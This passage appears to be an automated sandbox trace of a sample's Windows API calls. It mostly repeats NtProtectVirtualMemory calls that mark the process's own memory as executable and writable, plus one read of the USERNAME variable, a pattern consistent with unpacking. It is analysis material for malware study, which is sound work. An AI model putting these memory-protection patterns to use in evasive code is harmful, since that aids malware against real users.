NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.597] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.672] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.694] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.746] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.756] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.806] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.816] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.833] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.843] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.854] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.880] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.894] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.906] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.923] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.935] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.955] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.973] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0341.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.005] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.033] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.044] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.118] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.139] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.166] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.187] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.224] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.236] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.263] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.274] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.302] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.312] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.323] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.334] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.352] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.363] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.373] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.455] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.478] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.508] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.549] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.560] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.601] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.612] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.662] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.673] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.692] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.703] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.726] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.769] RtlQueryEnvironmentVariable_U (in: Environment=0x0, Name="USERNAME", Value=0x1eb8eff0 | out: Value="FD1HVy") returned 0x0 [0342.775] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.786] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.797] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.824] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.835] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.872] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.892] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.974] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0342.992] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0343.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, 